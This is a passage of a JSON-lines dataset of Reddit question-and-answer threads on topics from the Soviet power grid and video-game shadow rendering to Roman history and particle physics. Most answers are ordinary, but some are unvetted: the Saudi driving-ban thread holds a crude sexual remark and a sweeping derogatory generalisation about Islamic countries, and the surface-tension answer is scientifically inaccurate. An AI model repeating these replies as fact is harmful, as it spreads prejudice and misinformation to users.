to get as much output as planned.\n\nAlso, in mid-50s nuclear power started and %% of nuclear-generated energy grew steadily until Chernobyl (1986). In late 90s construction of nuclear stations was resumed.\n\nOf renewables, there were several solar (in Kara-Kum desert), tide and geothermal stations (Kamchatka), but they generated no more than ~3% of all electricity and were rather experimental.\n\n > Were black-outs and brown-outs rare or common?\n---\n\nYMMV, in large cities and industrialized areas they were very rare - once or twice a year top - and usually spanned 1-2 hrs (I lived in many cities). Usually caused by adverse weather, as by 70s power generated with large surplus vs consumption and United Energy System (*\u0415\u0434\u0438\u043d\u0430\u044f \u042d\u043d\u0435\u0440\u0433\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430*) was linking all USSR in uniform manner (e.g. all parts were wired to the same standard). City-wide blackouts (like in NY) were completely unheard-of. Most of issues were in difficult terrain with low population density (e.g. Pamir mountains or in desert). I've heard rumors about energy troubles in capitals of 'south republics' (Caucasus and Middle Asia), but can't substantiate it. They might have local power grid one notch below 'main Russia proper'.\n\nI haven't heard of 'brownouts' in USSR.\n\n**Sources**\n\n1. [Russian Wiki - Lines of Electric Transfer](_URL_1_)\n\n2. [Wiki - Unified Energy System](_URL_0_)\n\n3. [PDF - IPS/UPS overview and brief history](_URL_3_)"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Energy_policy_of_the_Soviet_Union"], "answers_urls": [["http://books.google.co.uk/books?id=oF-0AAAAIAAJ&amp;focus=searchwithinvolume&amp;q=electric+", "http://www.answers.com/topic/electricity-grid"], [], ["http://en.wikipedia.org/wiki/IPS/UPS", "http://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B8%D1%8F_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B8", "http://commons.wikimedia.org/wiki/File:Lep.jpg", "http://www.ucte-ipsups.org/Pdf/Download/englisch/IPSUPS_Overview_Lebed.pdf"]]}
{"q_id": "ce3jol", "title": "how the value of illegal goods or substances such as cocaine is determined by the government when they confiscate it", "selftext": "I sort of assumed that if something is illegal to buy or sell the goverment would deem it to have no value within their economy", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ce3jol/eli5_how_the_value_of_illegal_goods_or_substances/", "answers": {"a_id": ["ety70h8", "ety7axe", "ety7dzn"], "score": [10, 5, 3], "text": ["It's usually determined by \"street value,\" as in how much money you'd need to buy an equivalent amount from a dealer.\n\nObviously it's all illegal and the people involved try to keep it down, but junkies still need their fix so the law of supply and demand applies.", "Those values are usually calculated for a press release about how big the bust was, so they'll use the highest street price they can find to make it seem as big as possible. Nobody takes the exact amount that seriously, and neither should you. \n\nNow, if the government confiscated your car, the valuation might matter more, because you're later exonerated, you could potentially sue for the value of the car (assuming there's some reason they can't just give it back). However, for that to matter to illegal goods, you'd have to claim they belonged to you in the first place, which would not be a great idea.", "It's of value to buyers and sellers, even if the activity is illegal. The government just needs to find out how much people are paying for a particular substance and can then evaluate how much it was worth. The government can find this out either by posing as buyers/sellers or by asking people who were caught with the substance. Not everyone will talk, but some will."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "28hm76", "title": "when i'm playing an audio cd on a cd player and the music skips, what is happening?", "selftext": "I found my old Sony Walkman and I had forgot how much those damn things skip when moved around", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28hm76/eli5_when_im_playing_an_audio_cd_on_a_cd_player/", "answers": {"a_id": ["cib0d9t"], "score": [5], "text": ["When you bump the walkman, you can cause the disc to literally skip, meaning that you cause a rotation other than that caused by the motor.  When this happens, the walkman has to spin the disk and find its place again before continuing.\n\nIf you walkman has \"anti-skip\" protection, it is simply a flash buffer where the walkman reads the disc a few seconds ahead of what is actually being played.  That way if it skips, it can keep playing and have time to find its place again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10argk", "title": "\"May he luckier than Augustus and better than Trajan.\"  What exactly was so lucky about Augustus?", "selftext": "I mean looking at the history of Augustus, there's nothing that strikes me as being incredibly lucky, unless its that he was constantly on the good side of things that might've been a 50/50 flip.\n\nWhat did Romans themselves view Augustus as having been incredibly fortunate (or unfortunate) about, as \"luckier\" could go both ways?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10argk/may_he_luckier_than_augustus_and_better_than/", "answers": {"a_id": ["c6buu1j", "c6bvpcl", "c6bvxyh", "c6bwnyq"], "score": [8, 35, 8, 13], "text": ["'he was constantly on the good side of things that might've been a 50/50 flip'\n\nSounds pretty lucky to me.", "I'm not sure where the saying your quoting is from, but it may stem from a problem translating the word *felix* from Latin. While *felix* can mean lucky in our sense of the word, it more commonly meant something like \"favored by the gods\" or \"successful\". Both of these translations more accurately describe Augustus than \"lucky\".\n\nHe was obviously very successful, and the Romans considered Augustus to have a special relationship with the gods.     ", "Here's my take (off the top of my head):\n\n- Longevity - Octavian was often bed-ridden with illness and frankly, I think there was times where people didn't think he was even going to make it out of childhood. His long reign allowed him to conduct reforms and stablize his reign in ways few other could. Think about how different Augustus' legacy would have been if he had died soon after winning the civil war - the dynasty could've easily fell and he very well could have been remembered only as another ambitious, bloodthristy, machiavellian tyrant. \n\n- Being a relative to Julius Caesar, having the events (i.e. the assassination) unfold as it did, having the chance to meet Julius and subsequently inheriting his fortune (over Brutus and Mark Anthony), and coming out on top of the civil war. Of course we have to give a lot of credit to Augustus for impressing Julius, making the trip there to greet him. However, things still could've been very different if Julius had died campaigning in Gaul, or there was a falling out within the family, etc.\n\n- Meeting and befriending Agrippa and Maecenas. Without these two friends I don't think Augustus could've won. \n\nNow Augustus wasn't all luck, here are some examples of bad luck:\n\n- Family tragedies - early deaths of desired successors (Gaius and Lucius) and having to leave the \"throne\" to Tiberius. Although these events no doubt ultimately wound the dynasty, by the time this happened, Augustus' personal legacy was pretty much set.\n\n- Teutoburg forest - already stated, but in the grand scheme of things, it really isn't that bad of a situation.\n\nI personally think that a lot of the great figures in history can be considered lucky. Perhaps it's because Augustus' life is so well documented and propagandized in Rome (he did have all that time to edit and tell his life story to the people) that it was easy for the people to analyze how luck played into certain key events in his life. ", "Fortune was something that was seen to have being the result of being favored by the divine.  Divine favor meant good fortune would be yours, and vice versa.\n\nOctavian's adopted father, Julius Caesar (sorry to be a little pedantic there, but yeah) trumpeted his good fortune all throughout his life, both in his personal interaction and his Commentaries. \n\nClassic example: Caesar was attempting to leave to bring more reinforcements to fight Pompey in Greece.  A bad tide and current was making it hard for the rowers to make it out, and once they were going to turn back, he revealed himself to them, and said not to worry, for they carried Caesar and Caesar's good fortune.\n\ntl;dr: The success of Augustus was seen as the mark of divine favor or fortune.  Therefore, it is basically hoping that their new emperor would be similarly blessed by the divine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7l2y2c", "title": "what happens when a semi-truck carrying combustible liquid is struck by lightning?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7l2y2c/eli5_what_happens_when_a_semitruck_carrying/", "answers": {"a_id": ["drj2on3"], "score": [2], "text": ["Usually nothing. The same effect that keeps people from getting electrocuted in a car when hit by lightning protects the cargo too. That being said if the strike hits the cargo tank and causes enough damage to undermine the structural integrity of the tank bad bad things could happen, least bad is a leak worst is an explosion. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2b2v4b", "title": "why aren't all economics professors rich?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b2v4b/eli5_why_arent_all_economics_professors_rich/", "answers": {"a_id": ["cj19022", "cj196o2", "cj1b4g2", "cj1b94g", "cj1c95o", "cj1crfq", "cj1d6rl", "cj1fqle", "cj1jluw"], "score": [13, 39, 3, 3, 2, 2, 2, 2, 3], "text": ["because they chose to teach instead of going into the business sector.  Instead of dedicating their twenties to building their professional career, they chose to pursue a Ph.D., which costs a lot of money and inhibits one's ability to make money.  Also, college professors make decent money, but their wage ceiling is relatively low, especially compared to a hedgefund manager, for example.  BUT teaching at a university has it's perks.  They still make enough to live comfortably, and have more free time to enjoy with friends, family, and other academics.", "Because economics, even microeconomics, isn't \"how to become a rich individual\". It's the study of how markets and economies work.\n\nKnowing how supply and demand work, or what the best international trade strategy is, or the most effective way to go about structuring the tax system, doesn't mean that you have a product people want to buy, the means to produce it, a way to bring it to market, or the political influence and mandate to implement your plans without compromising.", "That is like saying why aren't biology professors practicing medicine.", "A lot of them are rich.  A lot of them serve as experts in lawsuits, serve as consultants to major banks/companies, etc... ", "Those who do, do. Those who can't, teach.", "Repeat after me: Economics is NOT a business.\n\nPeople looking to get rich or become successful go to business or management schools to figure out business cycles and how they benefit.  Economists STUDY business cycles from a distance to figure them out and become pretty much advisors and scholars as to why something failed or why something is succeeding.  It's more of an academic study than anything.", "Current theories of economics taught to undergrads are not actually that accurate. Also, depending on the economist there are many ideological traps that can be fallen into. Such as the notion of perfectly free-markets - which don't exist anywhere on the planet. So an economist can understand how a theoretical free-market works, but lives in a world dominated by mixed-markets. \n\nConcepts like Free Trade also suffer from this problem, in that international free trade doesn't actually exist in the real world. E.g. the USA-Australia Free Trade Agreement is approx 10,000 pages long and is largely a list of products that are excluded from free trade. So it's not actually a Free Trade Agreement, it's just called one. ", "Not Everyone wants to be Rich.", "The average annual salary of an American economics professor is $95,000. Roughly 95% of Americans *with non-zero incomes* make less than that.\n\nEconomics professors are, in relative terms, exceptionally rich.\n\nIf they were paying attention in class, they chose careers in an informationally false, politically manipulated market because that's the lowest-risk route to gettin' paid. You can't become Bill Gates that way, but you might become Chairman of the Federal Reserve, and you'll never be poor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "j32on", "title": "airplanes. (li5)", "selftext": "I'm a commercially-rated pilot. but I still can't explain with much clarity how a airfoil works. Perhaps you could help me dumb it down so the next time someone asks me, I don't have to babble about Bernoulli.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j32on/airplanes_li5/", "answers": {"a_id": ["c28q69d"], "score": [2], "text": ["Try reading this [amazing article](_URL_0_) and see if it helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.av8n.com/how/htm/airfoils.html"]]}
{"q_id": "5r3gst", "title": "what causes surface tension? why does that allow certain insects to \"walk\" on water? how does it create the meniscus?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5r3gst/eli5what_causes_surface_tension_why_does_that/", "answers": {"a_id": ["dd453i6"], "score": [2], "text": ["The water molecule have a very asymmetrical electric field. This means that the hydrogen atoms and the oxygen atom in nearby molecules will form electrical bonds called hydrogen bonds. This causes the water to create large crystals. Of course unless it is frozen the thermal energy in the water is enough to break these bonds on a regular basis making it a liquid. But on the surface of the water the crystals change from a regular three dimensional crystal to a two dimensional crystal. This crystal have a force trying to contract them into the three dimensional shape. So you end up with a sort of taught skin on the surface of the water.\n\nSome insects can use this effect to walk on water. Their legs are covered in thin hairs that is designed not to break the crystal structure of the water. They rather spread the weight over a large area. This means that they can spread their weight on the water surface without going though. Therefore they can walk on the water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4rngir", "title": "tony blair and the chilcot report", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rngir/eli5tony_blair_and_the_chilcot_report/", "answers": {"a_id": ["d52kvnf"], "score": [2], "text": ["None. War Crimes have a very specific international legal definition, which is one of the reasons they have been for the most part very difficult to prosecute. Short of saying 'we must bomb as many civilians as possible to topple Saddam Hussein' there's no way he or bush could be taken to trial. That he perhaps wilfully misled the parliament and the public re the intentions of the war is another matter, and the chilcot report is more concerned with this, as well as other strategic and failures of process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "xa9v3", "title": "Strange finger/eye thing, explanation?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xa9v3/strange_fingereye_thing_explanation/", "answers": {"a_id": ["c5kl4xh"], "score": [2], "text": ["It's called a Phosphene. The pressure you are placing on your eye mechanically stimulated the cells of your retina. This is similar to seeing spots when you sneeze. However, with sneezing it is not just a pressure based Phosphene. It is possible that this kind of Phosphene also is affected by your visual cortex. :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ceh33", "title": "Champion combat", "selftext": "In many fictional portrayals of ancient war, there is a trope of two armies facing each other and waiting while each sends forward a champion to fight a duel. Did this ever happen in real life, or is it an invention of fiction? If it did happen, *why* did it happen? What could a general possibly hope to gain by consenting to a duel of champions? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ceh33/champion_combat/", "answers": {"a_id": ["cjf3rvm"], "score": [2], "text": ["hi! check out these posts for a few examples\n\n* [How prevalent were \"champions\" in armies in ancient to medieval times?](_URL_0_)\n\n* [Are there any cases where two leading individuals from opposing armies fought each other to determine the outcome of a war or battle?](_URL_2_)\n\n* [Did champions of opposing armies do battle ever?](_URL_1_)\n\n* [Is there any plausible evidence for occurrences of single combat by \"champions\" or highly esteemed soldiers in the field of combat?](_URL_3_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/27z5q6/how_prevalent_were_champions_in_armies_in_ancient/", "http://www.reddit.com/r/AskHistorians/comments/23k3ou/did_champions_of_opposing_armies_do_battle_ever/", "http://www.reddit.com/r/AskHistorians/comments/183dk7/are_there_any_cases_where_two_leading_individuals/", "http://www.reddit.com/r/AskHistorians/comments/2anu63/is_there_any_plausible_evidence_for_occurrences/"]]}
{"q_id": "2stegx", "title": "in video games, why are shadows so hard to render?", "selftext": "I notice that even in games with incredibly detailed graphics shadows are often pixelated or very low resolution.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2stegx/eli5_in_video_games_why_are_shadows_so_hard_to/", "answers": {"a_id": ["cnsop3q", "cnsoq8o", "cnsr9yl", "cnsvxa0"], "score": [377, 2, 68, 8], "text": ["Drawing shadows is hard.\n\nThe way shadows are calculated is by placing a second camera at the light source, and then rendering the scene from the light source's point of view into a temporary location. The image that is produced is not a typical \"camera image\". Instead every pixel of this image records the distance between the light source and the object hit by the light - this is called a \"shadow map\".\n\nOnce you have this shadow map, the regular scene is drawn. While drawing the regular scene, it has to calculate the lighting for each pixel in the regular scene. Let's say a particular pixel on the regular scene represents location X in the scene (it has an exact 3D location in the scene). The distance of location X to the light source is compared against the distance recorded in the shadow map, this determines whether location X is in shadow or not.\n\nIn other words, rendering shadows requires rendering an extra scene (the shadow map) for *each* light source in the scene, greatly reducing FPS. So a game with just one light source with accurate shadows would have its FPS halved, 2 light sources would cause FPS to be reduced to 1/3. This is somewhat circumvented by rendering low resolution shadow maps instead (less pixels to render per shadow map), resulting in pixelated or low resolution shadows, because each pixel on the shadow map covers a \"larger\" area.\n\nEdit: Halving and 1/3 FPS is a huge exaggeration, it is not that bad (because ELI5), it ignores the CPU side of calculating the scene, updating AIs, etc. The point I'm driving across is simply that more scenes are drawn per frame.", "Rendering an image is usually done one of two ways.  In CG animations, it is rendered with ray-tracing, which draws thousands of randomized lines from a surface out into the world to see if it is being lit by a light source. Basically, the softness of real-world lighting is due to the shear number of photons being bounced around all the time, in directions that are random within given parameters. To account for the diffusion of light over distance, these samples are randomized and averaged together.  The more rays one can trace, the closer to real-life lighting you will see, but increasing samples causes the cost of rendering a scene to go up exponentially.  Too few samples will make all the shadows look grainy, but if enough randomized samples are taken, you get shadows that softly blur out at their edges, making the most realistic approximation of the behavior of real light.  This has yet to be done in real-time and is still far away from the capabilities of any game engine.  Game engines, therefore, use rasterization.  With this method, the geometry is first drawn as-is, then each screen pixel is drawn according just to the direction a surface is facing and how far away it is from a light.  So now every pixel is basically just one sample.  Shadows are rendered separately, as I'll explain, multiplied over the lighting result before the final image is shown to the viewer 30+ times per second.\n\nWith the doom 3 engine, stencil shadows were cast from every light source and were geometrically perfect.  With this method, the shadows are basically geometry themselves.  The problem there is that shadows rendered like that are extremely sharp -- they go from shaded to not shaded in a single pixel width, because again its just one \"shaded yes/no?\" sample.  Though it was very impressive to have shadows on everything, the shadows themselves were very unrealistic looking and limited the kind of lights that could be used.\n\nThe most common alternative, by far, is depth-map shadows.  These are more expensive and prone to artifacts but they look MUCH nicer at their edges because the edges can be blurred.  That fact alone is pretty much the reason they are used and Doom3's stencil shadows are not.  Unfortunately, this requires a depth map to be rendered from the perspective of every shadow-casting light in the scene to determine what is and is not shadowed.  It then has to be filtered (blurred) and projected over the scene.  The resolution of the depth map determines the fidelity of the shadows, but this is all on top of the already existing overhead.  So, this is expensive as hell to do for the whole scene with multiple lights, at a resolution that matches our ever-increasing screen resolutions.\n\nJohn Carmack once said he already made an engine that did basically real-time ray tracing at 30 frames per second but that if it was a rasterization engine with all the usual tricks like depth map shadows, it would be running at a thousand frames per second, so there was no real point to using it in a game yet.", "I'm a graphics engine programmer by profession, so I've programmed engines that handle real-time shadows quite a few times.\n\nThere are different techniques to shadows, each one costs something in performance and has drawbacks.\n\n-----\n\n**Stencil shadows**, used in Doom 3 and F.E.A.R., calculate what areas should be occluded (within shadow) by taking a light source and tracing lines from the light source to each vertex on a polygon, this is mostly done on the CPU.\nWhere these lines pass through polygons a new mesh is created, which is rendered to the stencil buffer and creates sharp shadows that describe where the meshes are visible (Basically where those lines from the light connect with polygons).\n\nThis effectively generates a sharp representation of shadows against surfaces (more or less generates something that describes the clipping of shadows).\n\nIt is mathematically intensive and requires a fast CPU, something that game consoles don't typically have when compared with desktop PCs so this method performs better on PCs where a CPU is quite powerful.\n\nThis method is not used very much these days.\n\n-----\n\nThe other technique which is quite popular these days (easy to implement) is **shadow mapping**, which takes advantage of the GPU to draw what each light \"sees\" by moving the camera to where the light is facing, drawing what it sees to just the depth buffer (So it knows how far away what it is seeing is).\n\nOnce the depth information is gathered, the camera moves back to the normal view and draws the world normally, however it keeps the shadow camera's depth buffer and position at hand and when the GPU is drawing the material of objects you're looking it (textures, lighting, etc) it will check the position of the object you're looking at, then it will use the equation for the shadow camera's position and find out how far away that position is from the shadow camera, then it uses the shadow camera's depth buffer to see if it is further away than the depth value in the same X/Y position on that depth buffer.\n\nIf it is, then it is in shadow, if it isn't, then it is in light.\n\nThis option moves the intense maths to the GPU but costs GPU memory for the shadow cameras' depth buffers, also you need to repeat the operation for every single shadow-casting light source, which means you are drawing the game world multiple times in one frame. Very expensive.\n\nTo have more accurate shadows you need a higher resolution depth texture, which means slower pixel lookups, more memory used, worse performance ** < - This is why you have pixellated shadows**\n\nAlso you don't always want hard shadows, so some materials will define how blurry the shadow it receives is which means extra maths for the GPU to do.\n\nConsoles can cope with this better as they have powerful GPUs compared to their CPUs, PCs also benefit from this as it scales well with hardware (So if you can support high resolution shadows you can choose to use them).\n\nGames typically only use 1 shadow source for shadow mapping (the Sun) because they want to dedicate more time to making the rest of the scene look good rather than having multiple shadows, some of which you won't even see.\n\nAnd all this needs to be done in under 16.666~ milliseconds for 60 FPS.\n\n-----\n\nHere's a summary of shadow mapping;\n\n1. Move camera to shadow-casting light\n2. Draw what that light \"sees\" to its own depth buffer\n3. Repeat N times for every shadow that effects the scene\n4. Move camera to player point of view\n5. Upload all shadow depth buffers to GPU\n6. Upload all camera matrices for each shadow casting light\n7. Draw what the player sees as normal\n8. Draw materials (textures, etc)\n9. Take the world position of the fragment (pixel) that is being drawn\n10. Translate that with each matrix of the shadow camera to get its position on the depth buffer in the perspective of the shadow camera\n11. Check if the fragment we want to draw is \"behind\" the fragment that is in the same position on the shadow cameras' depth buffers\n12. If it is behind a depth buffer fragment, render as if in shadow (Darken it by some factor, check samples around the same point to see how blurry the shadow is, calculate new material values, etc, etc)\n\n-----\n\nFrom the \"Draw materials (textures, etc)\" point onwards everything is done on the fragment shader, which means that those steps are repeated for every visible pixel and every pixel that you can't see (so stuff drawn behind objects that are about to be covered up by objects), and with matrix mathematics being so expensive you can imagine that doing all that for every pixel in a 1920x1080 image is very expensive, hence why most games stick with 1 shadow source and choose to make that 1 look really good.\n\n-----\n\nExtra; I saw someone mention **pre-baked shadows**, this moves the shadow rendering stage to the content generation stage which means highly accurate shadows can be produced and the only performance cost is having an extra texture for the surface shadow (Unless your engine is clever and streams textures with the pre-baked shadows on them, id Tech 5).\n\nThe obvious draw-back to pre-baked shadows is that they cannot move. The less-obvious draw-back (that Doom 3 attempted to solve) is that the models in the world won't be shadowed in the same way as the pre-baked textures as models are expected to move around, this means they need a different lighting model to the world which means they will always look out of place.\n\nThis is known as the \"Hanna-Barbera effect\", where things that move look very much out of place compared to the background they are drawn on.\n\n-----\n\nExtra 2; Another shadowing concept that is usually forgotten about is **ambient occlusion**, which is where light photons bounce off objects and slightly illuminate areas that are in shadow. This causes an effect where two surfaces near each other will have photons bounce more and more between the surfaces, losing energy as they do, which causes the surfaces to produce dark shadows closer to where they meet.\n\nGames cheat this by using a technique first shown in Crysis (2007) where the depth buffer is once again used to check how close objects are to each other, where the objects are close it will draw a fuzzy dark patch which is later blurred with a gaussian blur to produce the ambient occlusion for the scene.\n\nThis is then used with the final rendered frame to produce further shadows.\n\nAmbient occlusion can also be pre-baked, as it is in games such as Team Fortress 2.\n\n-----\n\nExtra 3; The latest way to do shadows is **voxel cone tracing** where we convert the light data of the world into a voxel representation and trace between voxels to illuminate objects, rather than to cast shadows. This technique was developed for real-time global-illumination but it also works for calculating shadows.\n\nThis technique is really good as it produces incredibly accurate shadows depending on voxel resolution and scales very nicely, but the draw-back is that it is difficult to implement as most of the algorithm is too slow to run on a CPU but runs very nicely across the many GPU cores, so CUDA or OpenCL is used.\n\nThe was a technique developed before the XBone/PS4 consoles were announced and it was running very well on PC hardware of the time, Unreal Engine 4 even adopted the technique pretty much the moment it had a white paper published, however the XBone and PS4 specs were announced and both consoles are significantly weaker than we all thought they would be, so this technique has been retired early and will probably reappear in the next generation of consoles.\n\n-----\n\nExtra 4; Some people are discussing **blob shadows**, which aren't intensive at all and are relatively cheap.\n\nThere's many ways to do a blob shadow, usually it is done by just having a square at the feet of objects with a blob texture on it, but the problem with this is that the shadow floats in the air if you are standing on the edge of geometry.\n\nThe best way is to grab information about the intersecting terrain of the shadow, generate a new mesh that overlays on that terrain and apply a decal texture of a blob shadow.\n\nSuper Mario 64 uses a neat trick where the blob shadow is on a circular mesh that is split into pie-like sections, when a section hangs over the edge of a surface it is made invisible, this is a good mix between the first technique of blob shadows and the second technique.\n\nAnother form of shadows similar to blob is to flatten the objects at their base and render them to a colour buffer with no transparency and a black colour, then this shadow buffer can be made semi-transparent and drawn over the final colour buffer (with some depth testing) to get some simple shadows-at-the-feet of objects, but again they will hang over geometry, which is where the clipping is needed.", "The reason why shadows is expensive to calculate is because shadows have to take into consideration how objects affect themselves and other objects.\n\nOther basic 3D rendering techniques (lighting, texturing) deal with objects in a scene independent of other objects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "aetvm4", "title": "How can Antiprotons annihilate with Neutrons?", "selftext": "I thought annihilation requires a particle and its specific anti-particle but I read in a book about antimatter that antiprotons annihilate with neutrons. How so? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aetvm4/how_can_antiprotons_annihilate_with_neutrons/", "answers": {"a_id": ["edssly5", "edt7jij"], "score": [250, 8], "text": ["Hadrons are made of quarks. A neutron has valence quark content of udd and a proton has valence quark content of uud. So an antiproton has antiup and antidown quarks which can annihilate with up and down quarks in a neutron. They can\u2019t fully annihilate each other; there will still be some quarks in the final state (probably in the form of pions).", "Does anyone know of a good book about sub atomic particles for someone who has an interest in physics?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1gr5bo", "title": "Noble family members being given as a hostage?", "selftext": "How common was this between countries? I've heard the hostages were treated well in some cases, is this true and how common is it? How long did they generally keep them hostage? How was this valued when compared to other things offered at negotiations (if there were any)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gr5bo/noble_family_members_being_given_as_a_hostage/", "answers": {"a_id": ["can8d53", "canluq8"], "score": [2, 2], "text": ["The Sankin-Kotai system enacted by Tokugawa Iemitsu in 17th century Japan required the regional lords spent alternating years in the capital, and was later reenforced by having their family members live there full time. This served a few purposes:\n\n* Your unlikely to rebel against the Shogun, if you are physically present, sans-army, in the capital. And also somewhat unlikely to rebel if your family members are within stabbing distance of the person you're rebelling against.\n\n* It helped centralize power in the capital. If all the lords and ladies of the country are forced to spend at least half of their lives in the capital, it makes it a more culturally and bureaucratically important city.\n\n* It lead to increased infrastructure development, due to the need to frequently transport the necessities of life in the capital.\n\nIt was a brilliant system that did more to unify Japan than any of the wars preceding it.\n\n--------\n\nTo your specific questions:\n\n >  How common was this between countries?\n\nThis didn't occur between countries as such, but certainly between rival military/political powers.\n\n >   I've heard the hostages were treated well in some cases, is this true and how common is it?\n\nThe hostages were certainly treated well. They were not even nominally hostages. It was usually more of an unspoken threat.\n\n >  How long did they generally keep them hostage?\n\nThe lords (and sometimes also their retainers) were kept in the capital for a year, and then returned to manage their own domains for the following year. The term could actually vary, depending on your perceived loyalty. Beginning in the late 17th century, family members (wives, children, mothers) were required to live in the capital full time. \n\n >  How was this valued when compared to other things offered at negotiations\n\nNot an exact answer, but: Regional lords would sometimes be rewarded for military service, or other acts of good vasalhood, with relaxations of this hostage period. I imagine it would have been possible for a donation of currency or supplies in excess of regular taxation might have bought a reprieve from the system, but I'm not aware of a specific occurrence.\n\n\n-------------\n\nMarius Jansen has a fairly accessible book on Early Modern Japan that goes into quite a bit of detail on the subject, titled [*The Making of Modern Japan*](_URL_0_).", "AS [u/pentad67](_URL_0_) said, you're not being particularly specific. But I will say that instances of noble hostages go back well before the Romans, who used to accept hostages from the noble families of Parthia and the various Germanic and Celtic barbarians states, sometimes even as adults (the case of Arminius' wife Thusnelda stands out, as she was handed over as a full-grown--pregnant--adult to Germanicus as a hostage by her father, who opposed Arminius' revolt and wanted to hurt him). Alexander took many hostages from the various constituent parts of the Persian Empire, including forcing the Persian noble families to give their sons over to him as hostages (he planned to then give these young aristocrats a Hellenic education and train them as officers in the phalanx, a plan that enraged his core Macedonian officers--since the phalanx was restricted to Macedonians--and which eventually fell through due to his death). And, while it is not an example of aristocrats being offered as hostages, the 120 Spartiates and their helots captured by the Athenian general Demosthenes (although Cleon got all the credit due to Demosthenes' apparant refusal for reasons unknown to participate at all in Athenian politics) at Sphacteria during the Peloponnesian War were held as hostages by the Athenians in exchange for the end of Peloponnesian invasions of Attica. Even in Homer, Agamemnon's prize, Chryseis, is to some degree a hostage held to ensure the cooperation of her father, Chryses, the priest of Apollo in her hometown (she is of course, returned when Apollo afflicts the Achaians with plague). And historically, Ramses the Great after the Battle of Kadesh took a Hittite princess to be one of his wives, of course with the implicit or explicit understanding that she was being offered up both as a peace-prize *and* as a hostage in exchange for good relations between the two empires."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.co.jp/books/about/The_Making_of_Modern_Japan.html?id=3bf4g447YdcC&amp;redir_esc=y"], ["http://www.reddit.com/user/pentad67"]]}
{"q_id": "qoqgr", "title": "eli21: saudi ban on women driving.", "selftext": "And the rationale behind it. Please only answer if you genuinely feel that you know the answer, not just having read one news report. Apparently, they have to get a 'guardian' to allow them to drive?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qoqgr/eli21_saudi_ban_on_women_driving/", "answers": {"a_id": ["c3z8dje", "c3z8x82", "c3zbyci"], "score": [32, 52, 3], "text": ["from what I have heard from Saudi friends I had in college, the Saudi's take it too seriously when someone harasses their women, hits on them.. etc. So limiting their ability to drive limits the window of opportunity where strangers can come unto their harem.\n\nThey end up fucking the driver.", "Here is the actual reasoning behind it. Not saying I support it, but it's important to understand cultural differences.\n\nThe reason they give is for the protection of woman. THey don't want woman out alone so they don't get assaulted or worse by some assailants. Slaydog is right.\n\nIt's really unfortunate that Reddit just down votes stuff they know nothing about, but make huge generalizations.", "Forget the apologists bullshit here is the truth:  \n**Islamic countries treat women as second class citizens and stone age baby factories.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2wnhkl", "title": "when i'm feeling depressed, why do i knowingly avoid doing the things i know would make me happy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wnhkl/eli5_when_im_feeling_depressed_why_do_i_knowingly/", "answers": {"a_id": ["cosg4oo", "cosh9j7"], "score": [3, 4], "text": ["I think part of it is wanting to save that experience for when you can fully enjoy it.\n\nIf I have a movie I've been looking forward to watching, and some special food set aside to eat during it and such, I don't want to waste it when I'm not in a good place mentally.", "I think also there is a massive lack of motivation when you're depressed, so even when you know going out and doing something you enjoy might actually work, you can't even bring yourself to get out of bed because it's too much painful"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
